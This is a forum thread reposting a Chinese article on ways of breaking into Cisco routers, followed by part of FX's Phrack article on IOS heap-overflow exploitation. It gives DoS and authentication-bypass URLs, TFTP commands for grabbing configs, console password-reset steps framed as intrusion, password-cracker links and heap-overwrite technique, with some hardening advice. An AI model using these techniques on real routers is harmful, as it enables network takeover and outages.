发新话题
打印

[转载]Cisco路由入侵艺术

[转载]Cisco路由入侵艺术

文章作者:紫天星

奔流不息的网络里,Web绽放着绚丽的色彩、电子邮件呼哧的穿梭网际、语音电话、网络会议、文件传输,各种数据交织错落,形成辉煌的数字世界。在喧闹的数字世界底层,存在一种精致的次序,这种次序决定着数据的选路、异构介质衔接、协议的交互等功能。而这一次序的缔造者正是布满整个网络的路由器。于是,路由器成了数据通信的交通亭,也成为了众多黑帽(Blackhat)争夺的目标之一。
Cisco路由器占据这网络世界的绝对位置,于是安全焦点效应激发了路由入侵与防御而产生的精美艺术。下面我将由浅入深的方式讲述Cisco入侵的手段以及防御策略。

【路由器感冒】
路由器从本身的IOS来说,并不是一个健壮的体系,因而它偶尔也会让自己感冒发烧。系统感冒发烧起来,抵抗力自然就降低不少。

*IOS自身欺骗
Cisco路由器是用IOS系统来实现路由的细节功能,因此它是路由系统的灵魂。Show命令的在线系统方式却为我们打开一个偷窥之门。
众所周知,Cisco路由器中,一般用户只能查看路由器的很少信息。而能进入特权模式的用户才有资格查看全部信息和修改路由。一般模式下,show的在线帮助系统不会列表所有可用的命令,虽然75个show的扩展参数只能用于特权模式下(enable),实际上只有13个受到限制。这意味着一般用户(非特权用户)可以查看访问列表或其他路由安全相关信息。
重要安全相关的ACL信息可以被登录路由的非特权用户查看,诸如:
#show access-lists
#show ip prot
#show ip ospf dat
#sh ip eigrp top
等命令可以在非特权模式下泄露网络敏感信息。通过这些命令,我们能得出路由器配置的大致情况,这对采取进一步的入侵起到辅助作用。不过由于这种方式需要用户已经有一个登录帐户,因此得到这样的信息有一定难度。

*WCCP暗道
Cisco在IOS 11.2版本中引入WCCP(Web Cache Control Protocol),为Cisco缓存引擎提供协议通信。Cisco缓存引擎为www提供透明缓存服务。缓存引擎用WCCP来和其他cisco路由器通信。路由器把HTTP数据发送到缓存引擎主机中。
虽然这种方式默认是关闭的。假如使能(enable)的话,那么WCCP本身是没有认证机制的。路由器将会把每一个发送合法缓存引擎类型的Hello包的主机认为缓存引擎,于是把HTTP数据缓存到那台主机。这意味着恶意用户可以通过这种方式获取信息。
通过这种方式,攻击者可以截获站点认证信息,包括站点密码;替代实际WEB内容为自己设计的陷阱;通过路由彻底破坏Web提供的服务。这种方式,可以完全规避登录烦琐的攻击方法,对Web提供全面而且致命的打击。
我们既可关闭WCCP的启用机制,也可通过ACL阻止WCCP发送HTTP流量给不信任主机来防止这样的恶劣情况发生。


*HTTP服务的困惑
Cisco在IOS版本加入了远程管理路由的Web特性,这对于新羽(newbie)的管理员来,无疑是值得高兴的事情。但引入方便的同时,隐患也随之进入。
1.基于拒绝式服务攻击的HTTP的漏洞
    Cisco路由启用(enable)远程WEB管理,很容易遭受DoS。这种DoS能导致路由器停止对网络请求的响应。这是功能是Cisco路由的内嵌功能。但启用这个特性,通过构造一个简单的Http请求就会造成DoS攻击:
http://<;router-ip>/%%
这种请求导致路由停止响应,甚至引起路由器执行硬重置(hard reset)。

2.基于HTTP服务器查询的漏洞
Cisco 安全建议小组在2000年10月30日公布了这个漏洞。IOS 11.0引入通过Web方式管理路由。”?”是HTML规范中定义的CGI参数的分界符。它也被IOS命令行接口解释成请求帮助。在IOS 12.0中,当问号邻接于”/”,URL解释器就不能正确解释其含义。当一个包括”?/”的URL对路由器HTTP服务器进行请求,并且提供一个有效的启用口令,则路由器进入死循环。因而引起路由崩溃并重起。
如果http起用,浏览
http://route_ip_addr/anytest?/
并且提供特权口令,则可以导致DoS攻击,导致路由停机或者重启。
除了让路由死亡之外,Http额外提供了一种可怕权限提升的漏洞,如下所论。

3.Cisco IOS 认证漏洞
    当HTTP服务器启用并且使用本地用户认证方式。在某些条件,可以绕过认证并执行设备上的任何命令。用户可以对设备完全的控制。所有命令都将以最高特权执行(level 15)。
使用username 和password的路由设备帐户认证方式,构造如下URL:
http://router_ip_addr/level/xx/exec/….
(注:xx代表16至99之间的84种不同的组合攻击,因为路由器硬件类型众多,而IOS版本也存在不同,因此针对不同的路由器类型,攻击组合数字不同。)
通过这种方式,攻击者可以完全控制路由并可以改变路由表配置。这种可怕的事实让网管也感到惊悸。这种完整的控制方式将是网站数据通信枢纽的致命一击。

虽然Http漏洞带来如此之多的漏洞,但这种漏洞最主要原因是因为启用http服务器管理路由的缘故,由于这种管理是种命令行方式的替代物,因此对于熟练的网管来说,没有必要启动这种危害性很大的服务。
#no ip http server 的路由配置也成为时髦的安全配置语句。


【在SNMP中行走】
谈到Cisco路由的安全性,我们就必须涉及到SNMP这个看似简单,实际扮演着重要角色的协议,正因为它的存在,路由器的入侵变的丰富有趣多了。

*SNMP基础简介:
每个SNMP启用的路由设备都包含一个叫做管理信息模块(MIB),这是一种包含简单等级的数据目录结构,在这种树结构中包含设备各种信息。SNMP基本的命令GET,可以检索MIB的信息,而SET命令则可设置MIB变量。一种用于监控和管理CISCO路由的的软件工具是MRTG,至于如何配置其用于Cisco设备的监控可以参阅LOG的《怎样在Windows NT/2K下安装MRTG》一文(http://www.2hackers.org/cgi-bin/ ... rum=7&topic=212)。
在路由器中配置SNMP的方法如下:
(conf)#snmp-server community readonly RO
(conf)#snmp-server community readwrite RW
SNMP协议通过社区(community)字串的概念赋予对设备MIB对象访问的权限。上例中,设置了只读访问的社区字串readonly和可进行读写操作的readwrite社区字串。而大部分管理员喜欢使用public和private设置只读字串和读写字串,疏不知,这样轻易的结果将给网络带来巨大的波动。我们可以在【触及RouterKit】部分清楚认识到这种危害。
通过SNMP我们可以方便管理和监控Cisco的设备(参阅Log文章介绍),同时也给攻击者带来可乘之机。

*Cisco IOS软件SNMP读写ILMI社区字串漏洞
ILMI是一个独立的工业标准,用于配置ATM接口。MIB是一个树形结构,包括操作(只读)数据以及配置(读写)选项。在有漏洞的设备上,通过在SNMP请求中指定一个ILMI社团字符串,可以访问整个树形管理结构中三个特定部分的对象:MIB-II系统组,LAN-EMULATION-CLIENT MIB以及PNNI(Private Network-to-Network Interface)MIB。每一部分的子集对象都可以使用相同的“ILMI”社团字符串修改。
MIB-II系统组包括设备本身的基本信息。能被修改对象的数目虽然是有限的。例如包括:
system.sysContact.
system.sysLocation.
system.sysName.
Cisco IOS软件版本11.x和12.0允许使用一个非文档的ILMI社区字串未经授权就查看和修改某些SNMP对象。其中就包括诸如上面所说的"sysContact","sysLocation",和"sysName"对象,虽然修改它们不会影响设备的正常操作,但如果意外修改可能会产生混乱。剩下的对象包含于LAN-EMULATION-CLIENT和PNNI MIBs,修改这些对象可以影响ATM配置。如果没有防止未授权使用ILMI社团字符串,一台有漏洞的路由器可能会遭受DoS攻击。
如果SNMP请求可以被有漏洞的设备接收,那么没有适当授权,就可以访问某些MIB对象,违背了保密性。没有授权就可以修改可读MIB对象的子集,破坏了完整性。而更具有危害性的方法是向SNMP端口发送大量的读和写请求。有漏洞的设备,如果没有防范接收SNMP包的措施,就会遭受DoS攻击,导致路由重载。

至于如何查看这些对象的信息,可以参阅【触及RouterKit】部分。

*Cisco IOS软件层叠SNMP共享社区字串漏洞
Cisco 配置文件中,意外创建和暴露SNMP共享字符串,可以允许未授权地查阅或者修改感染的设备。这种漏洞是调用SNMP函数中的缺陷引起的。SNMP利用“community”的标记来划分“object”组,可以在设备上查看或者修改它们。在组中的数据组织MIB。单个设备可以有几个MIBs,连接在一起形成一个大的结构,不同的社团字符串可以提供只读或者读写访问不同的,可能重叠的大型数据结构的一部分。
启用SNMP,键入“snmp-server”命令时,如果社区在设备上不是以有效的社区字串存在,就会不可预料地添加一个只读社区字串。如果删除它,这个社区字串将会在重载设备时重新出现。
缺陷源于SNMPv2的“通知(informs)”功能的实现,这个功能包括交换只读社区字符串来共享状态信息。当一个有漏洞的设备处理一条定义接收SNMP "traps"(陷阱消息)主机的命令时(常规snmp-server配置),在trap消息中指定的社团也还是配置成通用,如果它在保存配置中没有定义。即使社区在前面被删除并且配置在系统重载前保存到存储器,也会发生这种情况。
当通过"snmpwalk"(一种检测SNMP配置正确性的工具),或者使用设备的只读社团字符串遍历基于视图的访问控制MIB来检查设备时,就会泄漏读写社团字符串。这意味着知道只读社区字串允许读访问存储在设备中的MIB,导致信息泄露。而更为严重的是,如果知道读写社区字符串就可以允许远程配置的路由,可以绕开授权认证机制,从而完全控制路由器的整体功能。

题外话:一个被发现漏洞很具有讽刺意味,使用nmap等安全扫描工具对路由进行扫描,居然会产生DoS的攻击。有兴趣的朋友可以参阅:http://online.securityfocus.com/ ... -11-29/2002-12-05/1

【另类攻击】
前面的漏洞综述,似乎我们都在围绕着如何获得路由配置信息而讲述,因为得到一个完整Router-config,那么我们便掌握了路由的世界。下面的入侵方法则另辟奚径。

*TFTP的艺术
Cisco的熟练管理员,一般习惯于Cisco免费提供的TFTP服务器(http://www.cisco.com/pcgi-bin/tablebuild.pl/tftp),而Cisco培训的书籍总会介绍使用copy running-config tftp的命令来保存路由配置文件。于是获得TFTP就有可能获得路由配置文件。
幸运的是,TFTPD守护程序存在目录遍历的漏洞,允许远程用户从目标系统中获得任意文件。我们可以通过下面简单方法获取目标系统中的任何文件:
Exploit
tftp> connect target_machine
tftp> get cisco-conf.bin
Recieved 472 bytes in 0.4 seconds
tftpd> quit
  而这个免费软件还没有任何修补措施,因此借助这种方式,可以不费吹灰之力就可能得到一份完整的路由配置存档。

*SSH安全感
通过Telnet管理方式,造就了一批密码窃听者。通过明文的ASCII的网络传输形式,窃听者随便放置嗅探装置(sniffer),就可安闲的等待着登录用户,密码以及各类敏感信息自动送到面前。SSH加密方式在路由器的应用,大大的消灭了这种嚣张的气焰。
但入侵与反入侵本来就是个古老的话题。于是,SSH也开始有了危机感。Cisco SSH存在着三个精妙且复杂的漏洞,这种攻击的手法所涉及的知识已经大大超出本文的范畴,所以以简略的形式给予说明并指出应用漏洞的文章出处。(这些漏洞整理自中国网络安全响应中心CNSAN,http://www.cns911.com/holes/router/router01062902.php,在此对漏洞整理工作者的无私工作给予致敬。)
1.RC-32完整性检查漏洞
参考:http://www.core-sdi.com/files/files/11/CRC32.pdf
作者运用及其复杂的数学方式来证明这种漏洞的存在性,看懂这片文章需要相当的数学功底,本人在看这篇文章的时候也是头痛万分。不过文章中的理论分析十分精彩,初学者可以省略此漏洞。
CNSAN的文章则指出“要使这种攻击成功,攻击者要拥有一或者2个已知chipertxt/plaintext串,这一般并不难,因为每个进程启动时的问候屏幕是固定并可探测的,这样可以通过SNIFF进程来获得相应的chipertext”。

2.通信分析
参考:http://online.securityfocus.com/archive/1/169840
CNSAN的文章论述:“要利用这个漏洞,攻击者必须捕获信息包,这样可以分析使用的密码长度并用暴力手段猜测密码”。
在SSH中封装明文数据时,数据从8字节的边界上开始封装并对数据进行加密。这样的包在明文数据长度之后进行某中数学封装,SSH在加密通道内以明文的方式传输,结果,能检测SSH传输的攻击就能获得SSH内的内容。文章还友善的给出了Patch程序来修正这个漏洞。

3.在SSH 1.5协议中KEY恢复
参考:http://www.securityfocus.com/archive/1/161150
CNSAN的文章论述:要利用这个协议,攻击者必须能嗅探SSH进程并能对SSH服务器建立连接,要恢复SERVER KEY,攻击者必须执行2^20+2^19=1572864 连接,由于KEY是一小时的生存时间,所以攻击者必须每秒执行400此连接。
这种技巧的要求非常高,通常的远程入侵中,使用KEY来获得SSH会话过程的概率相当之低。

*本地密码劫持
    在所有入侵中,这种类型的入侵活动可谓是蓄谋以久的野蛮做法。方法本来的意图是用于管理员忘记密码后的恢复措施。而技术做为双刃剑的一面,便在于我们如何使用它。
    如果你有一台笔记本电脑,你有一根与路由器相应类型的连接线,那么你配备了入侵路由的武器。剩下的时间,你将思考如何闭开网管的眼睛,把连接线与路由器连接。以后的动作,需要你行动迅速了。(以25xx系列路由为例)
1.切断路由器的电源。
2.连接计算机与路由器。
3.打开超级终端(CTL-Break in Hyperterm)。
4.在启动路由器的30秒时间内,迅速按CTL-Break组合键,使路由器进入rom monitor 状态,出现提示符如下:
Followed by a &#39;>&#39; prompt...
5.输入 O/R 0x2142,修改配置注册器(config register)路由器从Flash
memory引导。
6.输入I,路由器初始化设置后重新启动。
7.输入系统配置 对话提示符敲no,一直等提示信息显示: Press RETURN to get started。
8.输入enable 命令,出现Router# 提示符。
这是,我们可以完全使用show命令查看路由中的一切配置,并可转储到计算机上。如果使用了enable的加密方式,虽然现在无法看,但可以使用工具进行破解。当然,粗鲁的做法是直接修改:
Router#conf term
Router(conf)#enable password 7 123pwd

进行完以上操作,别忘了恢复路由的正常状态,否则网管很快就能发现问题所在:
Router(conf)#config-register 0x2102
Router(conf)#exit

至此,我们从几个方面试图获得整个路由的配置,那么如何进一步扩大入侵的战果,一些令人激动的工具给我们带来的无比愉悦的方便。

【触及RouterKit】
就如攻击视窗系统人喜欢用NTRK,攻击Linux的人则喜欢用rootkit,Router的世界也有这优秀的Kit,让人爱不释手。

*密码破解机
得到路由配置文件后,如果看见在特权模式的配置中可能会有:“enable password 7 14341B180F0B187875212766”这样的加密字串。那么恭喜了,enable password命令的密码加密机制已经很古老,存在极大安全漏洞。通过一些简单的工具就可以得到破解的特权密码。
实用工具资源:
SPHiXe&#39;s 的&#39;C&#39;版本破解机:http://www.alcrypto.co.uk/cisco/c/ciscocrack.c
Riku Meskanen的Pearl版本:http://www.alcrypto.co.uk/cisco/perl/ios7decrypt.pl
BigDog的Psion 3/5 版本:http://www.alcrypto.co.uk/cisco/psion/cisco.opl
Major Malfunction的Palm-Pilot破解机:http://www.alcrypto.co.uk/cisco/pilot/ciscopw_1-0.zip
Boson Windows版本GetPass:http://www.boson.com/promo/utilities/getpass/getpass_utility.htm
Mudge描述的漏洞生成原因:http://www.alcrypto.co.uk/cisco/mudge.txt
从这些资源,得知,password的安全机制是如此的薄弱,因此,在现在的配置环境中一般采用enable secrect较新安全加密机制。

*RAT的丰厚礼物
RAT是系统管理网络安全研究机构(SANS)开发的免费路由审核工具(route audit tools)。这套工具能自动和立即的检索路由配置的情况,并针对配置的问题给出极其详尽的漏洞发现和推荐修改配置,并能寻址SNMP的漏洞给予安全建议。这种安全的配置文档对于管理员和黑帽来说,都是非常珍贵的资料。
RAT是用Pearl语言编写而成,因此在Windows需要安装ActiveState Perl的环境。安装过程十分简单,对于路由的扫描结果以Html和ASCII文本格式给予用户查看。下面是扫描的具体实例。
Exploit:
C:\>perl c:\rat\bin\rat –a –u username –w passwd –e enablepass {router_ip_addr}
snarfing router_ip_addr...done.
auditing router_ip_addr...done.
ncat_report: Guide file rscg.pdf not found in current directory. Searching...
Linking to guide found at c:\rat/rscg.pdf
ncat_report: writing {router_ip_addr}.ncat_fix.txt.
ncat_report: writing {router_ip_addr}.ncat_report.txt.
ncat_report: writing {router_ip_addr}.html.
ncat_report: writing rules.html (cisco-ios-benchmark.html).
ncat_report: writing all.ncat_fix.txt.
ncat_report: writing all.ncat_report.txt.
ncat_report: writing all.html.
(注:-a参数扫描所有漏洞选项,-u登录帐户,-w登陆密码,-e特权模式密码。扫描产生的漏洞检测报告和安全建议则使用ncat_report写入相关文件中。{router_ip_addr}是实际的路由IP地址)

可以说RAT 是IOS的安全配置检测工具,提供了详细的配置安全漏洞,并提供Fix Script for {router_ip_addr}的修补脚本,这样周全的工具不仅是管理员的福音,也给入侵者带来巨大好处。如果入侵者得到这样一份周详的报告,情况会有多糟糕?
可惜的是,这样优秀的程序在对路由配置文件进行检索时,所用的snarf程序是以telnet的方式对配置文件进行检索,这样的话,任何传输过程都将是明文的方式,而程序的文档介绍中推荐使用的SSH协议本身也并不完善(可参阅【另类攻击】部分的介绍),这样就为攻击者提供了偷窃的途径,从而获得路由全面的明晰配置图,这样结果对于网管来说将是多么的不幸。因此我们需要谨慎的使用这个威力巨大的工具。
当然,这个优秀的免费工具带给我们的另一个丰厚的礼物便是程序中自动装入《路由安全配置指南》(RSCG)的PDF文档,里面详尽的Cisco安全路由配置文档介绍了路由的管理和安全配置方式,给出薄弱的路由配置配置说明。这种实惠既便利了安全工作者对于理解,也成为了攻击者利用漏洞的极佳参考。

*终极力量Solarwinds
Solarwinds公司出品Solarwinds.net的全面产品中包容了针对许多管理监测Cisco设备的精美工具,良好的GUI、容易操作的截面、还有Perfect的Toolbar(比较起庞大而复杂的Ciscowork管理软件,我偏向于Solarwinds提供的简单配置工具,当然Ciscowork如果被攻击者运用,那么破坏的威力简直可以搞拷一个大型网站的通信枢纽。至于Ciscowork的使用说明,因为篇幅问题,不在赘述)。
主要工具简介:
SNMP Dictionary Attack
SNMP字典攻击用于测试SNMP的社区字串的强度。在SNMP字典攻击中,攻击程序首先装载社区字串习惯用语字典和字典编辑器编辑的字典,然后按照字典排序进行猜解。

SNMP Brute Force Attack
SNMP暴力破解程序将会以字母和数字的组合形式远程对SNMP的只读字串和读写字串进行穷举破解,同时我们可以定义包括的字符和字串的估计长度,这样有助于加快破解速度。

Router Security Check
路由安全检查程序能尝试的进入到路由器中并提示IOS是否需要升级,同时它也自动尝试只读和读写的SNMP社区字串。下面就是一个实际检测的结果:

IP Address202.xx.xx.xxSystem Namecisco7507Contact--Test Contact—010xxxxxxLocationCisco Internetwork Operating System Software IOS ™ RSP Software (RSP-AJSV-M), Version 12.0(7), RELEASE SOFTWARE (fc1)Copyright
益友网吧联盟  http://www.96-7.com

TOP

呵呵 这文章是防线上发过的:)
作者是紫天星 我帮你补充上去了...

目前的公开的最高艺术(攻击思科的设备)还应该属于FX和他在PHRACK #60上发表的IOS远程缓冲区溢出的文章。

可把思科的人吓了一跳
火线连接此文章如下:
文章作者:FX 和 紫天星
|=-------------=[ Burning the bridge: Cisco IOS exploits ]=--------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ FX of Phenoelit <fx@phenoelit.de> ]=----------------=|

--[ Contents

  1 - Introduction and Limitations
  2 - Identification of an overflow
  3 - IOS memory layout sniplets
  4 - A free() exploit materializes
  5 - Writing (shell)code for Cisco
  6 - Everything not covered in 1-5

--[ 1 - Introduction and Limitations

This article is to introduce the reader into the fun land of exploiting a
routing device made by Cisco Systems. It is not the final word on this
toppic and merely reflects our research results.

According to Cisco Systems, around 85% of all software issues in IOS are
the direct or indirect result of memory corruptions. By the time of this
writing, yours truly is not aware of one single case, where overflowing
something in Cisco IOS led to a direct overwrite of a return address.
Although there are things like stacks in IOS, it seems to be very uncommon
for IOS coders to use local function buffers. Therefore, most (if not all)
overflows we will encounter are some way or anyother heap based.

As a fellow researcher used to say, bugs are not an unlimited resource.
Especially overflow bugs in Cisco IOS are fairly rare and not easily
compared to each other. This article will therefore limit the discussion
to one particular bug: the Cisco IOS TFTP server filename overflow. When
using your router as a TFTP server for files in the flash filesystem, a
TFTP GET request with a long (700 characters) filename will cause the
router to crash. This happens in all IOS versions from 11.1 to 11.3. The
reader might argue the point that this is no longer a widely used branch,
but yours truly asks you to bare with him to the end of this article.

The research results and methods presented here were collected during
inspection and exploitation attempts using the already mentioned TFTP bug.
By the time of this writing, other bugs are researched and different
approaches are tested, but the here presented procedure is still seen as
the most promising for widespread use. This translates to: use your
favorite private Cisco IOS overflow and try it.

--[ 2 - Identification of an overflow

While the reader is probably used to identify stack smashing in a split
second on a commonly used operating system, he might have difficulties
identifying an overflow in IOS. As yours truly already mentioned, most
overflows are heap based. There are two different ways in IOS to identify
a heap overflow when it happens. Being connected to the console, the
reader might see output like this:

01:14:16: %SYS-3-OVERRUN: Block overrun at 2C01E14 (red zone 41414141)
-Traceback= 80CCC46 80CE776 80CF1BA 80CF300
01:14:16: %SYS-6-MTRACE: mallocfree: addr, pc
  20E3ADC,80CA1D8  20DFBE0,80CA1D8  20CF4FC,80CA1D8  20C851C,80CA1D8
  20C6F20,80CA1D8  20B43FC,80CA1D8  20AE130,80CA1D8  2075214,80CA1D8
01:14:16: %SYS-6-MTRACE: mallocfree: addr, pc
  20651E0,80CA1D8  205EF04,80CA1D8  205B338,80CA1D8  205AB80,80CA1D8
  20AFCF8,80CA1C6  205A664,80CA1D8  20AC56C,80CA1C6  20B1A88,80CA1C6
01:14:16: %SYS-6-BLKINFO: Corrupted redzone blk 2C01E14, words 382,
  alloc 80ABBFC, InUse, dealloc 206E2F0, rfcnt 1

In this case, an IOS process called "Check heaps", of which we will hear
a lot more later, has identified a problem in the heap structures. After
doing so, "Check heaps" will cause what we call a software forced crash.
It means that the process kills the Cisco and makes it reboot in order
to get rid of the problem. We all know this behavior from users of
MS-DOS or Windows based systems. What happend here is that an A-Strip
overwrote a boundary between two heap memory blocks. This is protected by
what Cisco calls a "RED ZONE", which in fact is just a static canary.

The other way a heap overflow could manifest itself on your console is an
access violation:

*** BUS ERROR ***
access address = 0x5f227998
program counter = 0x80ad45a
status register = 0x2700
vbr at time of exception = 0x4000000
special status word = 0x0045
faulted cycle was a longword read

This is the case when you are lucky and half of the work is already done.
IOS used a value that you somehow influenced and referenced to not
readable memory.  Unfortunately, those overflows are later harder to
exploit, since tracking is a lot more difficult.

At this point in time, you should try to figure out under which exact
circumstances the overflow happens - pretty much like with every other bug
you find. If the lower limit of your buffer size changes, try to make sure
that you don&#39;t play with the console or telnet(1) connections to the router
during your tests. The best is always to test the buffer length with a just
rebooted router. While it doesn&#39;t change much for most overflows, some
react differently when the system is freshly rebooted compared to a system
in use.

--[ 3 - IOS memory layout sniplets

To get any further with the overflow, we need to look at the way IOS
organizes memory. There are basically two main areas in IOS: process memory
and IO memory. The later is used for packet buffers, interface ring buffers
and so on and can be of interest for exploitation but does not provide some
of the critical things we are looking for. The process memory on the other
hand behaves a lot like dynamic heap memory in Linux.

Memory in IOS is split up in blocks. There seems to be a number of pointer
tables and meta structures dealing with the memory blocks and making sure
IOS can access them in an efficient way. But at the end of the day, the
blocks are hold together in a linked list structure and store their
management information mostly inline. This means, every memory block has
a header, which contains information about the block, it&#39;s previous one
and the next one in the list.

    +--------------+
.-- | Block A    | <-.
|  +--------------+  |
+-> | Block B    | --+
    +--------------+
    | Block C    |
    +--------------+

The command "show memory processor" clearly shows the linked list
structure.

A memory block itself consists of the block header with all the inline
management information, the data part where the actual data is stored
and the red zone, which we already encountered. The format is as follows:

|<-  32 bit  ->|      Comment
+--------------+
| MAGIC      |      Static value 0xAB1234CD
+--------------+
| PID       |      IOS process ID
+--------------+
| Alloc Check  |     Area the allocating process uses for checks
+--------------+
| Alloc name  |      Pointer to string with process name
+--------------+
| Alloc PC    |     Code address that allocated this block
+--------------+
| NEXT BLOCK  |      Pointer to the next block
+--------------+
| PREV BLOCK  |      Pointer to the previous block
+--------------+
| BLOCK SIZE  |      Size of the block (MSB marks "in use")
+--------------+
| Reference #  |      Reference count (again ???)
+--------------+
| Last Deallc  |     Last deallocation address
+--------------+
|  DATA     |
|          |
....
|          |
+--------------+
| RED ZONE    |      Static value 0xFD0110DF
+--------------+

In case this memory block is used, the size field will have it&#39;s most
significant bit set to one. The size is represented in words (2 bytes),
and does not include the block overhead. The reference count field is
obviously designed to keep track of the number of processes using this
block, but yours truly has never seen this being something else then 1
or 0. Also, there seem to be no checks for this field in place.

In case the memory block is not used, some more management data is
introduced at the point where the real data was stored before:

| [BLOCK HEAD] |
+--------------+
| MAGIC2     |      Static value 0xDEADBEEF
+--------------+
| Somestuff   |
+--------------+
| PADDING    |
+--------------+
| PADDING    |
+--------------+
| FREE NEXT   |      Pointer to the next free block
+--------------+
| FREE PREV   |      Pointer to the previous free block
+--------------+
|          |
....
|          |
+--------------+
| RED ZONE    |      Static value 0xFD0110DF
+--------------+

Therefore, a free block is an element in two different linked lists:
One for the blocks in general (free or not), another one for the list of
free memory blocks. In this case, the reference count will be zero and
the MSB of the size field is not set. Additionally, if a block was used
at least once, the data part of the block will be filled with 0x0D0D0D0D.
IOS actually overwrites the block data when a free() takes place to prevent
software issues from getting out of hand.

At this point, yours truly would like to return to the toppic of the "Check
heaps" process. It is here to run about once a minute and checks the doubly
linked lists of blocks. It basically walks them down from top to buttom to
see if everything is fine. The tests employed seem to be pretty extensive
compared to common operating systems such as Linux. As far as yours truly
knows, this is what it checks:
    1) Doest the block being with MAGIC (0xAB1234CD)?
    2) If the block is in use (MSB in size field is set), check if the
      red zone is there and contains 0xFD0110DF.
    3) Is the PREV pointer not NULL?
    4) If there is a NEXT pointer ...
    4.1) Does it point right after the end of this block?
    4.2) Does the PREV pointer in the block pointed to by NEXT point
        back to this block&#39;s NEXT pointer?
    5) If the NEXT pointer is NULL, does this block end at a memory
      region/pool boundary [NOTE: not sure about this one].
    6) Does the size make sense? [NOTE: The exact test done here is
      still unknown]

If one of these tests is not satisfied, IOS will declare itself unhappy and
perform a software forced crash. To some extend, one can find out which
test failed by taking a look at the console output line that says
"validblock_diagnose = 1". The number indicates what could be called "class
of tests", where 1 means that the MAGIC was not correct, 3 means that the
address is not in any memory pool and 5 is really a bunch of tests but
mostly indicates that the tests lined out in point 4.1 and 4.2 failed.

--[ 4 - A free() exploit materializes

Now that we know a bit about the IOS memory structure, we can plan to
overflow with some more interesting data than just 0x41. The basic idea is
to overwrite the next block header, hereby provide some data to IOS, and
let it work with this data in a way that gives us control over the CPU. How
this is usually done is explained in [1]. The most important difference
here is, that we first have to make "Check heaps" happy. Unfortunately,
some of the checks are also performed when memory is allocated or free()ed.
Therefore, slipping under the timeline of one minute between two "Check
heaps" runs is not an option here.

The biggest problems are the PREV pointer check and the size field. Since
the vulnerability we are working with here is a string overflow, we also
have the problem of not being able to use 0x00 bytes. Let&#39;s try to deal
with the issues we have one by one.

The PREV pointer has to be correct. Yours truly has not found any way to
use arbitrary values here. The check outlined in the checklist as 4.2 is a
serious problem, since it is done on the block we are sitting in - not the
one we are overflowing. To illustrate the situation:

    +--------------+
    | Block Head  |
    ...
    | AAAAAAAAAAAA |   <--- You are here
    | AAAAAAAAAAAA |
    | AAAAAAAAAAAA |
    +--------------+
    | RED ZONE    |   <--- Your data here
    +==============+
    | Block Head  |
    ...

We will call the uppermost block, who&#39;s data part we are overflowing, the
"host block", because it basically "hosts" our evildoing. For the sake of
clarity, we will call the overwritten block header the "fake block", since
we try to fake it&#39;s contents.

So, when "Check heaps" or comparable checks during malloc() and free() are
performed on our host block, the overwrite is already noticed. First of
all, we have to append the red zone canary to our buffer. If we overflow
exactly with the number of bytes the buffer can hold and append the red
zone dword 0xFD0110DF, "Check heaps" will not complain. From here one, it&#39;s
fair game up to the PREV ptr - because the values are either static (MAGIC)
or totally ignored (PID, Alloc ptrs).

Assumed we overwrite RED ZONE, MAGIC, PID, the three Alloc pointer, NEXT
and PREV, a check performed on the host block will already trigger a
software forced crash, since the PREV pointer we overwrote in the next
block does not point back to the host block. We have only one way today to
deal with this issue: we crash the device. The reason behind this is, that
we put it in a fairly predictable memory state. After a reboot, the memory
is more or less structured the same way. This also depends on the amount
of memory available in the device we are attacking and it&#39;s certainly not a
good solution. When crashing the device the first time with an A-Strip, we
can try to grab logging information off the network or the syslog server if
such a thing is configured. Yours truly is totally aware of the fact that
this prevents real-world application of the technique. For this article,
let&#39;s just assume you can read the console output.

Now that we know the PREV pointer to put into the fake block, let&#39;s go on.
For now ignoring the NEXT pointer, we have to deal with the size field. The
fact that this is a 32bit field and we are doing a string overflow prevents
us from putting reasonable numbers in there. The smallest number for a used
block would be 0x80010101 and for an unused one 0x01010101. This is much
more than IOS would accept. But to make a long story short, putting
0x7FFFFFFF in there will pass the size field checks. As simple as that.

In this particular case, as with many application level service overflows
in IOS, our host block is one of the last blocks in the chain. The most
simple case is when the host block is the next-to-last block. And viola,
this is the case with the TFTP server overflow. In other cases, the attack
involves creating more than one fake block header and becomes increasingly
complicated but not impossible. But from this point on, the discussion is
pretty much centered around the specific bug we are dealing with.

Assumed normal operation, IOS will allocate some block for storing the
requested file name. The block after that is the remaining free memory.
When IOS is done with the TFTP operation, it will free() the block it just
allocated. Then, it will find out that there are two free blocks - one
after the other - in memory. To prevent memory fragmentation (a big problem
on heavy load routers), IOS will try to coalesce (merge) the free blocks
into one. By doing so, the pointers for the linked lists have to be
adjusted. The NEXT and PREV pointers of the block before that and the block
after that (the remaining free memory) have to be adjusted to point to each
other. Additionally, the pointers in the free block info FREE NEXT and FREE
PREV have to be adjusted, so the linked list of free blocks is not broken.

Out of the sudden, we have two pointer exchange operations that could
really help us. Now, we know that we can not choose the pointer in PREV.
Although, we can choose the pointer in NEXT, assumed that "Check heaps"
does not fire before our free() tok place, this only allowes us to write
the previous pointer to any writable location in the routers memory. Being
usefull by itself, we will not look deeper into this but go on to the FREE
NEXT and FREE PREV pointers. As the focused reader surely noticed, these
two pointers are not validated by "Check heaps".

What makes exploitation of this situation extremely convenient is that
fact, that the pointer exchange in FREE PREV and FREE NEXT only relies on
the values in those two fields. What happens during the merge operation is
this:
    + the value in FREE PREV is written to where FREE NEXT points to
      plus an offset of 20 bytes
    + the value in FREE NEXT is written to where FREE PREV points to

The only thing we need now is a place to write a pointer to. As with many
other pointer based exploits, we are looking for a fairly static location
in memory to do this. Such a static location (changes per IOS image) is the
process stack of standard processes loaded right after startup. But how do
we find it?

In the IOS memory list, there is an element called the "Process Array".
This is a list of pointers - one for every process currently running in
IOS. You can find it&#39;s location by issuing a "show memory processor
allocating-process" command (output trimmed):

radio#show memory processor allocating-process

       Processor memory

Address Bytes Prev.  Next   Ref  Alloc Proc Alloc PC  What
258AD20  1504 0     258B32C  1  *Init*    20D62F0  List Elements
258B32C  3004 258AD20 258BF14  1  *Init*    20D6316  List
...
258F998  1032 258F914 258FDCC  1  *Init*    20E5108  Process Array
258FDCC  1000 258F998 25901E0  1  Load Meter 20E54BA  Process Stack
25901E0   488 258FDCC 25903F4  1  Load Meter 20E54CC  Process
25903F4   128 25901E0 25904A0  1  Load Meter 20DD1CE  Process Events

This "Process Array" can be displayed by the "show memory" command:

radio#show memory 0x258F998
0258F990:             AB1234CD FFFFFFFE       +.4M...~
